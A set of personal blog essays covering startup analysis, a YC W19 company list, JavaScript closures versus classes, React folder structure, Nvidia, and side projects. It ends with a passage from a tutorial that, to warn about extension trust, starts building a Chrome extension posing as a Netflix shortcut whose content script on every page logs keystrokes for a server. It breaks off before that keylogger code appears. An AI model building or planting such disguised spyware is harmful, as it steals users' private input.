
> Originally posted on [Substack](https://biw.substack.com/p/flower-company-the-costco-of-cannabis)

![Flower Company](/images/flower-co.png)

In March of 2019, I wrote about Flower Company in my essay [43 YC Winter 2019 Batch Companies To Watch](/essays/yc-w19):

> Most weed companies aren't targeting the regular day-to-day user of cannabis. Flower Co. is trying to change this with bulk orders. One of the first companies I've seen sell ounces of cannabis online. It will be interesting to see them scale over time.

Now that it's been a year, I wanted to dive a little deeper. In the last year, the cannabis industry has shifted. There have been a handful of companies shut down, and [investors have started to realize](https://www.latimes.com/business/story/2019-12-17/pot-firms-cash-crunch-no-us-bankruptcy-protection) that grow ops aren't as profitable as they may have dreamed of a few years ago. Cannabis is quickly becoming a commodity crop. Especially with the rise of low dose THC edibles and drinks, the masses don't care about the strain, the same way they [don't care about wine and buy Franzia](https://www.businesswire.com/news/home/20190218005188/en/The-Wine-Market-in-the-United-States-to-2022-Franzia-is-the-Leading-Brand-Followed-by-E-J-Gallo-Winery-Constellation-Brands-and-Franzia-Wines---ResearchAndMarkets.com). It's getting harder to keep the historically high margins in cannabis.

So, let have a quick overview of Costco. They made about $3.7 billion in profit in 2019. They do this, not by charging a high markup on their products, but by keeping costs low and charging for memberships. They sell most of their products at an almost breakeven, still in the shipping boxing, and have created a sustainable business by charging for a $60/year membership.

I was incorrect last year, Flower Company's business model isn't selling bulk orders of cannabis but selling a membership. They are the Costco of cannabis and making money the same way. In the case of Flower Co., the membership is \$119 per year. They are betting that people are willing to pay for the option to buy in bulk. Just like Costco with their Kirkland brands, Flower Company grows and sells it's own in house grown cannabis. It also sells a wide array of 3rd party flower, edibles, cartridges, and much more. They aren't targeting the first time user, a demographic that Eaze has focused on for years. They also aren’t focused on quick delivery times like Eaze, taking between 2 and 10 days to deliver. Flower Company is cutting costs at each step, even outsourcing delivery, mimicking Costco’s low-cost strategy.

With the cost of the membership allowing for growth, Flower Company no longer needs to worry about cannabis becoming a commodity crop. They can enjoy shifts in both product lines and cost while enjoying a consistent revenue stream of $120 per year per member. Overall, the strategy seems to be working. After YC Demo day, Flower Company went on to raise a $2.8 million seed round and now have 16 employees on AngelList.

I'm excited to follow along as Flower Company grows and expands into other national markets. I’d bet we’ll see a much larger series A from Flower Company in the next 18 months to fund that growth. Overall, I think there are big things ahead for them, and they are positioned to take a significant place in the growing cannabis market.



The following essay is a cross-post (copied with small edits) from one of [my Twitter](https://twitter.com/biwills) threads :

[![https://twitter.com/biwills/status/1108249404329201664](/yc-w19/images/tweet.png)](https://twitter.com/biwills/status/1108249404329201664)

{ [jump to my final notes](#notes) }

I decided to do a little digging into the 189 🤯 companies that presented at the [Y Combinator W19 Demo Day](https://blog.ycombinator.com/yc-winter-2019-batch-stats/).

Strap in because there is a lot to go over.

Here are some of my favorites that I'll be following (in no particular order):

## [Skill-Lync](http://skill-lync.com)

![skillLync](/yc-w19/images/skill-lync.jpg)

Helping mechanical engineering students with online courses, based on the idea that Universities aren't going a good job in India. Looks promising based on reviews. Interesting that they aren't doing CS based online courses like most other e-learning.

## [Boundary Layer Technologies](https://boundarylayer.tech)

![Boundary Layer Tech](/yc-w19/images/boundarylayer.jpg)

Making Hydrofoil cargo ships which should make ocean freights 3x faster, pictured is a prototype. It will be interesting to see how they scale, but giving the size of the cargo ship industry, it's very promising.

## [Couturme](http://couturme.com)

![Couturme](/yc-w19/images/couturme.png)

Making AI generated wedding dresses. The wedding space is huge, and most people don't want to underspend on their "once in a lifetime special day," starting at \$200, it's a good price to be unique, something many desire in our hyper Instagram culture.

## [Woody Library](http://www.woodylibrary.com)

![Woody](/yc-w19/images/woodylibrary.jpg)

Making on-demand subscription libraries in China (where they are limited). It will be interesting to watch as they scale a utility that is typically a public good in the US.

## [Flower Co.](http://flowercompany.com)

![Flower Co](/yc-w19/images/flowerco.jpg)

Most weed companies aren't targeting the regular day-to-day user of cannabis. Flower Co is trying to change this with bulk orders. One of the first companies I've seen the offers sales of ounces online. Will be interesting to see them scale over time.

## [Eclipse Foods](http://eclipsefoodsco.com)

![Eclipse](/yc-w19/images/eclipsefood.jpg)

As the world population increases, the environmental cost of dairy products is increasing. Eclipse is trying to supplement the existing market by offering plant-based dairy with a taste that matches animal based. Watching alongside other non-dairy milk.

## [Windwalk Games](https://windwalk.games)

![Windwalk](/yc-w19/images/windwalk.jpg)

With the rise of Fortnite, it's interesting to think about if games companies, something that historically hasn't been funded with the VC model, can be successful with VC backing. Windwalk is the maker of an online multiplayer: "Enemy On Board".

## [Modoo](http://modoo-med.com)

![Modoo](/yc-w19/images/modoo-med.jpg)

Most cars have dozen of sensors motoring their health, but most people have zero. This can be problematic during pregnancy. Modoo is trying to solve that by offering a wearable to track fetal health, heart rates, & movements.

## [Jetpack Aviation](https://jetpackaviation.com)

![jetpack](/yc-w19/images/jetpack.jpg)

Jetpack Aviation is build flying motorcycles with both military & civilian applications. Will be interesting to see the real project since we only have CGI mocks to go off of now, but could be the start of life in SciFi book.

## [Flockjay](https://flockjay.com)

![flockjay](/yc-w19/images/flockjay.jpg)

There is Lambda School for coding, and now there is FlockJay for tech sales. While not as talked about, tech sales are what drive B2B companies from startup to Unicorn. Will be interesting to see how they scale alongside the rest of the bootcamp crowd.

## [Ultralight](https://ultralig.ht)

![ultralight](/yc-w19/images/ultralight.jpg)

HTML is the language of UI, and more projects are wanting to use it on the desktop/in games. The problem is that most render engines are slow and memory-hungry. Ultralight is trying to fix that. Watching how they keep compatibility with other browsers.

## [Keeper Tax](http://keepertax.com)

![keeper](/yc-w19/images/keeper.jpg)

The 1099 space is growing, with more people become freelancers each year. Keeper is designed to help with the tax burdens that come with that. I've seen a lot of companies in the space (like [@hykeme](https://twitter.com/hykeme)), so it will be interesting to follow as they all grow.

## [Reelables](https://reelables.com)

![reelabes](/yc-w19/images/reelables.jpg)

Reelables is making Bluetooth labels for tracking products. They are thin, \$10, and designed to help business keep track of items. With the price point, I could see companies using these to track small items like computer chargers in meeting rooms.

## [Heart Aerospace](https://heartaerospace.com)

![heart](/yc-w19/images/heartaero.jpg)

There are half a dozen companies, backed by major players, getting into the _electric_ aircraft space. Heart is one of them. It will take years to get past regulation, but an important space to follow given environmental impact and potential profit.

## [Team Mobot](https://teammobot.com)

![mobot](/yc-w19/images/mobot.jpg)

Automated UI testing has historically been a crapshoot. Team Mobot is trying to solve that with robots that test on real devices. Still has a lot to be proven but seems promising in part because they are not cutting corners with artificial VM environments.

## [Lumos](https://lumosmd.com)

![lumos](/yc-w19/images/lumos.jpg)

Doctors are currently using Google to search for clinical answers. The problem is it's designed to give answers to average people, not doctors. Lumos is a search engine for doctors to get better, trusted answers. i.e., a professional web MD.

## [Traverse Renewables](http://traverse.ai)

![traverse](/yc-w19/images/traverse.jpg)

Traverse is using "country scale geospatial simulations" to determine the best places to put wind & hydropower generators and then develop the sites. Being able to both source the land and develop the site could be an extremely profitable business.

## [‎Basement App](http://basement.social)

![basement](/yc-w19/images/basement.jpg)

Basement is a "close friends" only social app. The social space has become impersonal, making it hard to be authentic and open. It will be interesting to see how they handle the social dynamic of denying unwanted "friends" access to your "basement".

## [Prometheus](https://prometheusfuels.com)

![prometheus](/yc-w19/images/prometheus.jpg)

Prometheus removes CO2 from the air and turns into the _first carbon-neutral gasoline_. While it's still not clear the scale, the idea of carbon-neutral gas is not only exciting but could be a major force in helping control climate change.

## [Loonify](https://loonify.space)

![loonify](/yc-w19/images/loonify.png)

Loonify is trying to launch satellites into space from stratospheric balloons, where they can take off in near vacuum conditions. If successful, it could drastically lower both the cost & risk of launching a small satellite into space.

## [Portal](https://portalentryways.com)

![portal](/yc-w19/images/portal.jpg)

Portal is working on tech that automatically opens doors for people in wheelchairs. After watching their videos, it's clear that most handicap door buttons are hard to access. Excited to watch the company grow and make spaces accessible.

## [Alpaca](http://alpaca.markets)

![alpaca](/yc-w19/images/alpaca.jpg)

[@RobinhoodApp](https://twitter.com/RobinhoodApp) has already changed how average people invest, but it doesn't have an API yet. Alpaca does, allowing devs to buy/sell (including shorts) from an API. I can see this drive a new wave of financial companies build on top of their platform.

## [Bearbuzz](https://bearbuzz.io)

![bearbuzz](/yc-w19/images/bearbuzz.jpg)

Influencer marketing deal size and terms are not standardized and require a lot of manual work for both advertisers & creators. Bearbuzz is trying to automate this. Interesting to watch knowing a few companies working in this space.

## [Point](http://trypointbank.com)

![point](/yc-w19/images/point.jpg)

There are lots of companies in the credit card reward space, but Point is the only one I know that offers points with a debit card. Having a debit card with points/saving feels like the best of both worlds without the worry of overspending.

## [Handle](http://handle.com)

![handle](/yc-w19/images/handle.jpg)

I've talked to a few people in construction and am surprised by how large deals are and how inefficient the process is, with dozens of contractors involved. Handle helps simplify working with contractors. Watching as more tech gets into construction.

## [Gerostate Alpha](https://gerostatealpha.com)

![gerostate](/yc-w19/images/gerostate.jpg)

Gerostate Alpha is working on a process with "capability to increase lifespan and healthspan not just by a few percent, but by orders of magnitude." Founders are 3 researchers who combined have over 60 years of relevant research experience. 🌕🚀

## [Nabis](http://getnabis.com)

![nabis](/yc-w19/images/nabis.jpg)

The cannabis supply chain is inefficient and not software native. Nabis is working to solve this by creating "a lightning-fast distribution network and software platform" in California. With the legalization coming, this could be very lucrative.

## [InterPrime](https://interprime.co)

![interprime](/yc-w19/images/interprime.jpg)

I'd bet most startup founders aren't experienced handling the millions of dollars they raise. Enter InterPrime. They are trying to help companies manage their cash on hand and invest it. Will be interesting to watch if this becomes standard overtime.

## [Shiok Meats](http://shiokmeats.com)

![shiok](/yc-w19/images/shiok.jpg)

Shiok Meats is a growing cell-based shrimp, crab, and lobster in a bioreactor. Founded by a team of stem cell scientist, Shiok is working on creating an "environment-friendly seafood future." Will be interesting to watch given oceans are overfished.

## [GlobeDX](http://globedx.com)

![GlobeDX](/yc-w19/images/globedx.jpg)

GlobeDX has created a crypto-futures exchange that is friendly to high-frequency trading. It will be interesting to see how they will fit into the futures exchange given that [@dydxprotocol](https://twitter.com/dydxprotocol) has been working on something similar in the ethereum space.

## [PadPiper](http://padpiper.com)

![padpiper](/yc-w19/images/padpiper.jpg)

PadPiper is building a marketplace for monthly stays. While Craigslist works for longer stays, it's hard to find places for a few months, especially if you don't know anyone in the new city. Will be interesting to see how this fits in next to Airbnb.

## [Community Phone](https://communityphone.org)

![community phone](/yc-w19/images/communityphone.jpg)

Community Phone is linking up three US networks to bring the best service with an unlimited plan for \$50/month. Interested in watching what will happen over time as they grow and start to compete with the companies that supply their network.

## [Qwest](https://qwest.co)

![qwest](/yc-w19/images/qwest.jpg)

Qwest lets people pay money to skip lines. People already pay bouncers at clubs to let the skip the line, so formalizing this seems like a logical. Will be interesting to see if this loses it's value once a significant number of people start to use it.

## [Askdata](http://askdata.com)

![askdata](/yc-w19/images/askdata.jpg)

Many times, engineers are bottlenecks to insights that non-technical employees can make due to not knowing how to query databases. Askdata helps all employees discover insights with natural language. Interesting to see the limits of query complexity.

## [GoLinks](http://golinks.io)

![golinks](/yc-w19/images/golinks.jpg)

If you've ever worked at a large tech company, you've experienced short links that aren't real domains such as //work. Golinks is working to bring this to all organizations. Can see this being ubiquitous across companies in a few years.

## [Allure Sytems](https://alluresystems.com)

![allure](/yc-w19/images/allure.jpg)

Allure Systems uses computer vision to map clothing onto models. Users can take pictures of their clothing, then map them onto a catalog of models with ease. This could quickly become the norm in online shopping, notably if users became the models.

## [Aura Vision](http://auravision.ai)

![aura](/yc-w19/images/aura.jpg)

Aura Vision is making Google Analytics IRL. Using computer vision and ML, they can map user in real time, helping stores track habits like motivation, wait times, and user walking paths. Creepy but may help IRL stores compete against online.

## [Searchlight](https://searchlight.ai)

![searchlight](/yc-w19/images/searchlight.jpg)

Searchlight is working on creating a database of referrals so that candidates and companies don't have to go through the trouble of sourcing referrals over and over. Interesting to watch given the network effect required to make this work.

## [Allo](https://allocommunity.com)

![allo](/yc-w19/images/allo.jpg)

Allo is trying to foster community among neighbors to help each other out with babysitting and other small favors. Interesting to see a tool that is trying to bring together a service community without being focused on financial transactions.

## [Coursedog](https://coursedog.com)

![coursedog](/yc-w19/images/coursedog.jpg)

Coursedog is building tools to help universities do better class scheduling, room planning, & curriculum management. University are massive entities with many inefficiencies, so it's exciting to see a company tackling the administrative issues.

## [Visly](https://visly.app)

![visly](/yc-w19/images/visly.jpg)

Visly is a cross-platform layout tool for frontend engineers built by a former [@yogalayout](https://twitter.com/yogalayout) engineer. I'm not 100% sure what is being created but am interested in following what they release given the open source work they've already published.

## [Switchboard](https://onswitchboard.com)

![switchboard](/yc-w19/images/switchboard.jpg)

Switchboard is working on a suite of sensors for semi trucks, trying to help trucking companies manage their inventory of trucks more efficiently remote. Will be interesting to see how they transition overtime when trucks go autonomous.

## [Shef](https://myshef.com)

![shef](/yc-w19/images/shef.jpg)

Shef (Airbnb for food) is bringing community "at-home" chef's meals to your table. Pay ~\$7 for meals made by people in your neighborhood, not restaurants. For the price point, this seems like a great way to get cheap and healthy food delivered.

## Final Notes

- [@ycombinator](https://twitter.com/ycombinator) W19 demo day had 189 companies present, not 200+
- Largest YC class & demo day was 2 days with 2 stages pitching
- Many of these companies are very early on with some launching only days before demo day
  45/45 final notes:
- Some businesses seemed to compete with previous YC funded business
- A surprising amount of cannabis companies
- Mostly B2B companies
- There were a few moon shots
- Overall a very diverse set of ideas
- Will be very exciting to follow them over time



I’ll agree that if you’re using React or any patterns that require inherence, then the `class` syntax makes sense (but then again, [do you need inherence](https://medium.com/javascript-scene/the-hidden-treasures-of-object-composition-60cd89480381)?) (Also see: [Hooks – React](https://reactjs.org/docs/hooks-intro.html))

I’ll also agree that [TypeScript](https://www.typescriptlang.org/) or [Flow](https://flow.org) solve some of these issues.

However, if you don’t need inherence, classes are broken in a few key ways:

## Global Scope

In a class, every method is public. While some have suggested prefixing an underscore on desired private method and or variable, it’s important to know that they are always public and someone always has a use case for using the “private” underscored method. See [Hyrum’s Law](http://www.hyrumslaw.com/).

```javascript
class NavBar {
  constructor(props) {
    this.privateState = 'secretMessage'
  }
  _listStudents() {
    return [{ name: 'amy' }, { name: 'ben' }, { name: 'coconut' }]
  }

  fancyChildren() {
    return this._listStudents().map(student => student.fancy())
  }
}

const bar = new NavBar()
bar._listStudents()
// [{ name: 'amy'} ... ]

bar.privateState
// secretMessage
```

However, with a closure, you get true private methods:

```javascript
const navBar = () => {
  const privateState = 'secretMessage'
  const listStudents = () => {
    return [{ name: 'amy' }, { name: 'ben' }, { name: 'coconut' }]
  }

  const fancyChildren = () => {
    return listStudents().map(student => student.fancy())
  }

  return {
    fancyChildren
  }
}

const bar = navBar()

bar.listStudents()
// Uncaught TypeError: bar.listStudents is not a function

bar.privateState
// undefined
```

Private methods give the freedom to decouple of implementation to the API of the object. With closures, APIs can be created by returning an object with the property names being the public API. By explicitly stating what you want your API to be, you gain much more flexibility to refactor at a later time without being tied to function names.

### Private Class Fields

You may be thinking that the above isn’t applicable because of the private method proposal that’s, at the time of writing, is stage 3 ([GitHub - tc39/proposal-private-methods](https://github.com/tc39/proposal-private-methods)). If you haven't read the proposal, the basics are that you can prepend a method name with `#` to make it private:

```javascript
class Counter {
  #xValue = 0;

  get #x() { return #xValue; }
  set #x(value) {
    this.#xValue = value;
  }

  #clicked() {
    this.#x++;
  }

  constructor() {
    super();
    this.onclick = this.#clicked.bind(this);
  }

  connectedCallback() { this.#render(); }

  #render() {
    this.textContent = this.#x.toString();
  }
}

const countee = new Counter()

countee.render()
// Uncaught TypeError: render is not a function

bar.privateState
// undefined
```

While this is a significant step forward, methods and fields defaulting to being public vs. private behavior is a small change, but in experience, have found it to lead to more exposed classes, losing some of the benefits of closures that default to private functions.

## Getters / Setters

By far the worst thing about JavaScript classes is getters & setters. Getters and setters greatly limit the ability for developers to understand what code is doing by. For example, let's look at the following valid code:

```javascript
const ourNewFish = new Fish()

ourNewFish.name = 'Mr. Bubbles'

console.log(ourNewFish.name)
// Sushi
```

With classes, we can use getters/setters to create proxies which take over the behavior of object properties. Getters & setters, like [Proxy objects](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy) have their place, but in library development, not application code. Our `Fish` class above is defined as:

```javascript
class Fish {
  get name() {
    return 'Sushi'
  }
}
```

By using getters and setters, we are now unable to determine if any side effects happen when `ourNewFish.name` is run. If any code uses getters & setters in a project, it requires assuming that all properties are getters & settings when debugging. You may be saying:

> “What's the difference between that and `ourNewFish.name()`? they look the same”

While they look very similar, the context of what a line of code does is lost if getters and setters are used. In the case where you call a method, anyone reading the code knows that there is a method determining what is returned and it is not a simple value. It could be a function that returns a private name, or it could be a function that returns `Sushi` every time. With the function call, whoever is reading the code (or fixing a bug) know that there is more to the story.
If a getter or setter is used, whoever is reading that code doesn’t know if there is more to the story, there is no way to tell. This creates code that is harder to read code & takes longer to debug.
Next time just use a closer with get & set functions:

```js
const Fish = () => {
  let name = 'Sushi'
  getName = () => name
  setName = newName => {
    name = newName
  }

  return {
    getName,
    setName
  }
}
```

## `this`

The topic of `this` is highly debated in JavaScript, some people think that all developers should know how `this` works, others don’t. I tend to fall into the former category, but that's a talk for another essay. However, if you always set `this` to be lexical scope (like most programmers do), why even think about it? If you want dynamic scope and all the developers you work with understand it, then classes can be great. In my experience, however, most code doesn’t take advantage of it, and most developers don't understand it, which only leads it larger bug surface area. If I’ve found that rewriting code that uses dynamic scope is usually cleaner to the reader than the dynamic version. You can rewrite all code without using (or binding) `this`:

```js
class ClickWatcher {
  constructor() {
    // don't forget to bind `this`
    this.doSomething = this.doSomething.bind(this)
    this.x = 'doing something'
  }
  doSomething() {
    console.log(this.x)
    //...
  }
  onClick() {
    window.addEventListener('click', this.doSomething)
  }
}

// vs

const ClickWatcher = () => {
  let x = 'doing something'
  const doSomething = () => {
    console.log(x)
    //...
  }
  const onClick = function() {
    window.addEventListener('click', doSomething)
  }
  return { onClick }
}
```

## Closing

While classes give developers from other object-oriented languages a seemingly familiar tool, the pitfalls in JavaScript classes outweigh the benefits of familiarity, which are usually misunderstood especially in the case of `this`. I have yet to see a situation, that does not require inherence, where classes are better than closures for solving the problem at hand (If you find one, please email or tweet me). Next time you need to create a grouping of data inside an object, don’t use a class, use a closure.



When looking at most React app, there is usually a `components` folder. We are going to focus on that folder. While I understand that folder structure, like linting, can be viewed as bikeshedding, I believe there are a few benefits in setting a specific and consistent folder structure. In general, a consistent folder structure increases readability and removes the cognitive burden of trying to understand the layout that each folder may have. In the context of the folder structure detailed later in this doc, it's primary goal is to design a system in which dependency trees are easy to understand for each component.

As a component folder grows, goals change, A/B tests are written, and design flows change. Numerous components will be added, removed, and changed. To prevent large refactors, it is imperative to structure code in a way that empowers us not only to add large portions of the codebase but also modify them without unintended effects and more importantly delete them. The only way to prevent unintended effects or delete a component (let's call it CompA) is to know all component that requires ComA as a dependency, therefore there a significant benefit in creating a system that helps us understand the dependencies of each component. While ES modules imports (`import ExampleComp from './ExampleComp'`) have made figuring out the dependencies of a file significantly more straightforward than the global world that was common in Angular 1, it still doesn't give a complete picture of the whole dependency tree.

## Guidelines

When detailing all of these guidelines, it is essential to know that these guidelines are designed to work infinitely deep on a file hierarchy. By keeping the same rules infinitely deep, we can allow individual developers freedom to decide on the levels of abstraction and how to break up their components into sub-components that make sense for a specific component, without losing consistency of APIs.

It is also important to know that these are guidelines, not hard rules. In 99% of situations, I have found these guidelines to be a great way to organize components. However, sometimes components don't have perfect hierarchies, and these rules may not be the best solution. The guidelines are broken down into three primitive types.

### Container Folders

A container folder is the first of our top-level primitive of our design system. A container folder holds named components but does not have it's own `index.js` file or export a default component or named exports. All projects that adopt the folder system laid out in this document have 1 or more container folders. The most common example of a container folder is the top level `components` folder. A container folder may hold container folders, component folders, or component files. There are almost no rules in respect to how a container folder should be structured, other than it should not have an `index.js` file. All container folders should follow `camelCase` naming. If we want our folder to export multiple named exports, we should use a Component Folder. Any file that can import a container folder can import infinitely deep inside the container folder as long as the guidelines are reevaluated at each step down the tree. Here is an example container folder with valid imports marked with ✅ and invalid imports marked with ❌ (notice how all our guidelines hold no matter how deep down the file tree we go):

```bash
components/ ## root container folder
  Button/ ## component folder ✅
  OurView/ ## component folder ✅
  keyboardViews/ ## sub-container folder  ✅
    __tests__
      BlueKeys.test.js
    YellowKeys/ ## component folder ✅
      index.js ✅
      SpecialKeys.js  ## ❌ more detail below why this isn't a valid import
    BlueKeys.js ## component file ✅
```

### Component Files

A component file is one of the primary ways we export components. All component files should be `PascalCase` & either be the name of the default export of the single component the file exports or a descriptive name when exporting multiple named exports. A component file should never have both a default export and named export(s). All components exported from this file are available to other modules; changing the exports should be considered a breaking API changes. If you need to export internal functions or sub-components of a component for testing reasons, you should use a component folder. Tests for a component file are in a `__tests__` directory of the parent folder as a sibling of the component file, and follow the `[filename.test.js]` naming convention. A component file can import from sibling container folders, component files, and component folders with import rules being evaluated at each step down the tree. If necessary, It may also import from parent container folders. This exception to the import rule should only be used in situations where primitive building objects (Button, Text, etc.) are kept at a higher level. For example, you might want to use a `<Button>` component in a `keyboardView`. You should, however, strive to keep components at the lowest level of a component tree. It is much easier to bring components up a dependency tree at a later time than moving it down a dependency tree.

```bash
components/
  Button/ ## <Button /> is exported
  OurView/
  keyboardViews/ ## nothing is exported
    __tests__
      BlueKeys.test.js
    YellowKeys/ ## it is okay to use <Button> here
      __tests__
        index.test.js
      index.js
      SpecialKeys.js
    BlueKeys.js
```

### Component Folders

A component file is the third & most used primitive that we have in our guidelines. Component folders and component files share many of the same rules and are designed to be drop-in replacements of each other. Like component files, they should only export a default export or named exports, never both. The folder name should always be in PaselCase, just like component files. The PaselCase folder name signals that the API stops at the top level. In other words, you should never import past the top level of a Component Folder. In this way we can design the API interface to a component as a file or folder, then refactor without worrying about the internals of the component. The goal of a component folder is to limit the scope and namespace of components as much a possible. All internal components should still follow the same rules infinitely deep. For example:

```bash
components/
  Button/ ## <Button /> is exported and can be used in <View1 /> & <View2 />
  View2/ ## <View2 /> is exported
  View1/ ## <View1 /> is exported
    __tests__
      index.test.js
    index.js
    SubView.js ## This should never be used in <View2 /> or any sibling or parent of View1
```

## Summary

To summarize what we have gone over, we have three primary types: container folders, component folders, and component files.

### Container Folders

A container folder should be camelCase. It should never export anything itself, only hold component folders, component files, or another container folder:

Good:

```bash
components/
  buttons/
    BlueButton/
    RedButton.js
  View2/
```

```js
import BlueButton from "components/buttons/BlueButton";
import View2 from "components/View2";
```

Bad:

```bash
components/
  buttons/
    GreenButton/
    RedButton.js
    index.js
  ViewXX/
  index.js
```

```js
import { GreenButton } from "components/buttons";
import { ViewXX } from "components";
```

### Component Files

A component file should be PascalCase, (preferably) only have one default export or two or more named exports, never both, and never export anything not designed for external use (i.e., for testing).

Good:

```bash
components/
  View22.js
  buttons/
    __tests__
      RedButton.test.js # only imports <RedButton />
    RedButton.js
    GreenButton.js
```

```js
import RedButton from 'components/buttons/RedButton'
import { View, 22 } from 'components/View22' // this isn't ideal, default export is preferd
```

Bad:

```bash
components/
  View22.js
  buttons/
    redButton.test.js # imports <RedButton /> & redHelperFunc
    redButton.js

```

```js
import { View22 } from "components/View22";
import redButton from "components/buttons/redButton"; // see how we can't tell if this is a component or a folder holder components
```

### Component Folder

To files that import them, a component folder and component file are indistinguishable; this makes it very easy to refactor and break a component file into many sub-files & sub-folders as it grows. Like the component file, it should be PascalCase and only export 1 default export or 2 or more named exports, never both & never export anything not designed for use (i.e., testing). Files outside of the component folder should never import the internals of the component folder.

Good:

```bash
components/
  buttons/
    GreenImageButton/
      __tests__
        index.test.js
        ImageHolder.test.js
      index.js # exports only <GreenButton />
      ImageHolder.js
      BaseButton/
        __tests__
          index.test.js
        index.js # exports only <BaseButton />
        SubButton.js
```

```js
import GreenImageButton from "components/buttons/GreenImageButton";
```

Bad:

```bash
components/
  buttons/
    GreenImageButton/
      __tests__
        index.test.js
        ImageHolder.test.js
      index.js # exports only <GreenButton />
      ImageHolder.js
      BaseButton/
        __tests__
          index.test.js
        index.js
        SubButton.js
```

```js
import ImageHolder from "components/buttons/GreenImageButton/ImageHolder";
```



Nvidia has, what I believe to be, one of the most underrated monopolies in the computer market.

The graphics card market is essentially two companies, AMD & Nvidia. While AMD does well, they are the low-cost alternative, with a product line that lags significantly behind Nvidia.

When companies want cheap graphics cards that run hotter and don't do anything they couldn't have done three years ago, they buy AMD.
This isn't a problem for things like an Xbox, which runs by itself in a large ventilated living room. However, when you want to run a 10,000 graphics card in a datacenter where raw computing power vs. heat generation is a critical metric, it is a problem. AMD card limitations also show when working with high-intensity computation, like that of a self-driving car.

Nvidia's success is very similar to Intel's in the CPU industry. Intel has market command with data center customers and the high-performance consumer market. Nvidia is the foundation for GPUs in data centers, which Google Cloud Platform, AWS, and Azure all using Nvidia for their highest-end computing options.

This business will only continue to grow at an ever-expanding rate as Moore's Law no longer can continue due to physics's fundamental laws. The future of computing power is in GPUs, and right now, Nvidia is the most respected and valued voice in shaping that future.
It is also the powerhouse behind many consumer-focused GPU computing systems as:

- All Tesla vehicles, including the upcoming Model 3, use Nvidia GPUs
- Google's Waymo self-driving cars also use Nvidia
- Uber's self-driving cars also use Nvidia
- Cruise, GM's self-driving car subsidiary, also uses Nvidia

I could continue with names of companies using Nvidia GPUs, but almost no major contender in the self-driving car market explosion that is about to happen uses a non-Nvidia card. Nvidia is a bet on not only self-driving cars but an index on the market size itself.

Finally, there is a lot to be said about the future of cryptocurrencies, but although consumers have shown to have an extreme level of risk, miners of the coin have significantly less. If miners can figure out energy consumption issues, which are becoming easier to solve with the accelerated advances in battery and solar technology, they almost always make money. Due to the competition in mining, most replace their hardware yearly. So it's fair to expect increases in the number of GPU cards being purchases each year as the rewards for mining cryptocurrencies increases. I believe this will hold even if the cryptocurrencies currently very popular (Bitcoin) fail, as the movement is too large to stop anytime soon.

Nvidia is the sole supplier of the most critical hardware for some of Silicon Valley's most lucrative and invested in spaces. I don't see anyone changing that any time.



I like to build side projects. They let you explore and experiment with ideas and tools that you may not get to spend time on at school/work. I first learned how to program because I wanted to build a social network recreation of Urban Dictionary as a side project (It turned out as bad as you might guess). I also enjoy building side projects with the goal of making them into a company. While there is nothing wrong with working on something on the side that generates income, the problem comes when you restrict yourself from building a side project just because it may not make you money.

Working on a business as a side project, is just that, work. You have to worry about taxes, refunds, and all of the overhead of running a business. While working on something without the goal of it becoming a business can take up a lot of time, you get to spend more of your time creating something, rather than dealing with business logistics. Most side projects don’t turn into successful businesses. Most of the time it's better to start a project with the goal of creating, experimenting, and learning instead of making money. Many ideas, when first proposed, sounded like terrible businesses ideas (Google, Facebook), but turned out to be great, but only because the creation happened before worrying about monetization. There are also projects that would make terrible businesses ([comic-sans-everything](https://github.com/719Ben/comic-sans-everything), [canada-eh](https://github.com/mguida22/canada-eh)) but are great experiments that teach you a lot, and are fun to create. Some ideas won't ever make money, but if you limit your creation to only ideas that make money, you limit the things you experiment with and explore. The more you can experiment, the better you will become at creating things and coming up with new ideas.

Next time you think of an idea that doesn’t seem like it could become a business, build it. Experiment with your ideas without worrying about monetizing them. You will be surprised how much you learn from it.



TL;DR View code on [Github](https://github.com/biw/chrome-spyware).

Recently, I saw a [forum post](https://forum.sublimetext.com/t/rfc-default-package-control-channel-and-package-telemetry/30157) about how the startup [KITE](https://getkite.co/) added ~~spyware~~ “telemetry tracking” to an open source project. I thought it was interesting to see how shocked people were that a software package was spying on them. It made me realize I, and others, trust software extensions far too much. Over trusting extensions is dangerous, it's simple to write spyware into them. To show how simple, we are going to walk through all the steps of adding very simplistic, but powerful, spyware into a Google Chrome extension. We will write both the spyware client and the server to receive data.

## Client

The first step in making spyware is creating a client. We are going to create a simple Chrome Extension that is a button to open up Netflix in a new tab. Then add spyware that records every keystroke in the browser and then sends it to a server.

### `manifest.json`

The first thing we need to create for our new Chrome app is a `manifest.json` file. The [manifest file](https://developer.chrome.com/extensions/manifest) is the configuration file for Chrome Extensions. We are going to start by setting the `manifest_version` to `2` (It always has to be `2`), then adding the extensions `name`, `description`, `version`, `homepage_url`, `icons` which are self-describing fields, so we won't go into those. However, the `browser_action`, `background`, `permissions`, and `content_scripts` fields require some explanation.

- `browser_action` lists the properties of the button located in extension bar in Chrome.
- `background` defines a script that is triggered when a user clicks our button in the extension bar. This script runs in an isolated sandbox and cannot directly look at information from a websites users visit. We use the background script to open up a new tab with Netflix. `persistent: false` let the script be unloaded by Chrome when it is not in use, which frees up memory and other system resources.
- `permissions` give the ability to create and manage `tabs` and use Chrome’s extension `storage`. We use `tabs` to create the new Netflix tab and `storage` to create a buffer for users keystrokes.
- `content_scripts` defines a javascript file that is injected into **every single HTML page** that a user visits. We set the script to the keystroke spyware, `spy.js`.

```javascript{1,4-6}
{
  "manifest_version": 2,
  "name": "Netflix Button",
  "description": "Shortcut to Netflix on Chrome!",
  "version": "1.0",
  "homepage_url": "https://github.com/biw/chrome-spyware",
  "icons": {
    "16": "icon16.png",
    "48": "icon48.png",
    "128": "icon128.png"
  },
  "browser_action": {
    "default_icon": "icon16.png",
    "default_title": "Open Netflix!"
  },
  "background": {
    "scripts": [
      "background.js"
    ],
    "persistent": false
  },
  "permissions": [
    "tabs",
    "storage"
  ],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["spy.js"]
    }
  ]
}
```

### `background.js`

As was mentioned above, `background.js` is where the legitimate part of our extension lives. We want our extension to open up Netflix when a user clicks the icon, so we need an event listener that creates a new tab. The code is straightforward and only ends up being 2 lines.

```javascript
window.chrome.browserAction.onClicked.addListener((activeTab) => {
  window.chrome.tabs.create({
    url: "https://www.netflix.com/",
  });
});
```

We now have a fully functioning extension (without spyware) ready to put on the internet.

### `spy.js`

